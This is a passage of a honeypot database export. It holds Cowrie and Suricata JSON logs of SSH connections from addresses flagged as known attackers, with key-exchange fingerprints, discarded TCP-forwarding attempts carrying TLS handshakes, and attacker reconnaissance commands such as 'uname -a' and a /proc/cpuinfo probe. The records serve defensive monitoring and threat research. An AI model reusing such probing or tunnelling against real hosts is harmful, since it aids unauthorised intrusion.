\\\\x9e\\\\xd8\\\\xa20)\\\\xd5\\\\x8a\\\\x0c3^M\\\\xb9\\\\xfc<>[\\\\x10+\\\\xb1\\\\xa1\\\\xe1o\\\\x90\\\\xa1\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x0f\\\\x00\\\\r\\\\x00\\\\x00\\\\nyiopse.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\xbf\\\\xf8\\\\xcf6\\\\x1a\\\\xff\\\\xa4\\\\x8fH\\\\r\\\\xe4S\\\\xb2_a\\\\xf5\\\\xfc\\\\xbb\\\\xc3\\\\xd3\\\\xeb\\\\xff)\\\\xa0\\\\xae^QK\\\\x94\\\\xef\\\\xe2x\\\\x00\\\\x17\\\\x00A\\\\x04_m\\\\xd3\\\\x88\\\\xfd\\\\xe1\\\\x12\\\\x0b\\\\x02V\\\\x95\\\\xc2\\\\xe3A\\\\x81.\\\\xc5\\\\x95\\\\x0b\\\\x9d#3\\\\x0b\\\\x0e\\\\xaa;\\\\x86\\\\xf6\\\\xe2\\\\x1e\\\\xa4\\\\xc3\\\\xc5\\\\xa9\\\\x19\\\\xd2d\\\\xca4\\\\x82\\\\xa6\\\\xa0\\\\x04s\\\\xe3\\\\x98V\\\\x10\\\\x0c\\\\xcf\\\\x11\\\\x92\\\\xaa\\\\xb3\\\\x19\\\\x87\\\\xdc\\\\xfcn\\\\xd2m(\\\\x99w\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\xa2\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\"", "session": "71929d32c834", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:03:25.271483Z", "@timestamp": "2021-09-20T11:03:25.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20082	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:25.707321+03	2021-09-20 14:15:01.935613+03	{"_id": "BAXfAnwBvYTbRNuE_Pib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.71.17.12", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.556067705154419, "duplicate": true, "timestamp": "2021-09-20T11:03:25.707321Z", "@timestamp": "2021-09-20T11:03:25.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20083	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:28.574676+03	2021-09-20 14:15:01.936613+03	{"_id": "GAXgAnwBvYTbRNuECPid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.17.12", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5590071678161621, "duplicate": true, "timestamp": "2021-09-20T11:03:28.574676Z", "@timestamp": "2021-09-20T11:03:28.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20084	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:28.015753+03	2021-09-20 14:15:01.937612+03	{"_id": "FgXgAnwBvYTbRNuECPid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:28.015753Z", "@timestamp": "2021-09-20T11:03:28.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20085	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:28.016322+03	2021-09-20 14:15:01.939612+03	{"_id": "GQXgAnwBvYTbRNuECPid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:28.016322Z", "@timestamp": "2021-09-20T11:03:28.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20086	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:28.018959+03	2021-09-20 14:15:01.940612+03	{"_id": "IAXgAnwBvYTbRNuECPif", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 2, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\xe7\\\\xc8\\\\xe2\\\\xa4\\\\x865\\\\xc1v\\\\x90\\\\x03H\\\\x81\\\\xcf\\\\x88\\\\x85\\\\xfe\\\\xb2^\\\\xec\\\\x7f\\\\x0f$KU\\\\xb2\\\\x1bv\\\\xda\\\\x1d\\\\xa5 \\\\xdc\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 2 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\xe7\\\\xc8\\\\xe2\\\\xa4\\\\x865\\\\xc1v\\\\x90\\\\x03H\\\\x81\\\\xcf\\\\x88\\\\x85\\\\xfe\\\\xb2^\\\\xec\\\\x7f\\\\x0f$KU\\\\xb2\\\\x1bv\\\\xda\\\\x1d\\\\xa5 \\\\xdc\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "session": "ba384fdfbf58", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:03:28.018959Z", "@timestamp": "2021-09-20T11:03:28.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20102	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:29.901244+03	2021-09-20 14:15:01.959612+03	{"_id": "JwXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:29.901244Z", "@timestamp": "2021-09-20T11:03:29.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20087	42.63.158.253	109.199.241.180	Suricata	2021-09-20 14:03:29.53854+03	2021-09-20 14:15:01.941613+03	{"_id": "IgXgAnwBvYTbRNuEC_hn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.63.158.253", "dest_ip": "192.168.20.116", "flow_id": 1316548849493970, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40943, "dest_port": 22, "timestamp": "2021-09-20T11:03:29.538540Z", "@timestamp": "2021-09-20T11:03:29.538Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20088	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:03:29.539422+03	2021-09-20 14:15:01.942612+03	{"_id": "IwXgAnwBvYTbRNuEDPg9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2f74c6300fb4", "@version": "1", "timestamp": "2021-09-20T11:03:29.539422Z", "@timestamp": "2021-09-20T11:03:29.539Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20089	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:03:29.192758+03	2021-09-20 14:15:01.943612+03	{"_id": "KAXgAnwBvYTbRNuEDPg-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "2f74c6300fb4", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:03:29.192758Z", "@timestamp": "2021-09-20T11:03:29.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20090	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:30.853382+03	2021-09-20 14:15:01.944613+03	{"_id": "LAXgAnwBvYTbRNuEEPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:30.853382Z", "@timestamp": "2021-09-20T11:03:30.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20091	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:16.491246+03	2021-09-20 14:15:01.946612+03	{"_id": "qwXfAnwBvYTbRNuE2fdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:16.491246Z", "@timestamp": "2021-09-20T11:03:16.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20103	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:30.465826+03	2021-09-20 14:15:01.960613+03	{"_id": "LQXgAnwBvYTbRNuEEPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.17.12", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5652077198028564, "duplicate": true, "timestamp": "2021-09-20T11:03:30.465826Z", "@timestamp": "2021-09-20T11:03:30.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20092	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:03:18.090786+03	2021-09-20 14:15:01.947613+03	{"_id": "wQXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b3ec9d554cf7", "@version": "1", "timestamp": "2021-09-20T11:03:18.090786Z", "@timestamp": "2021-09-20T11:03:18.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
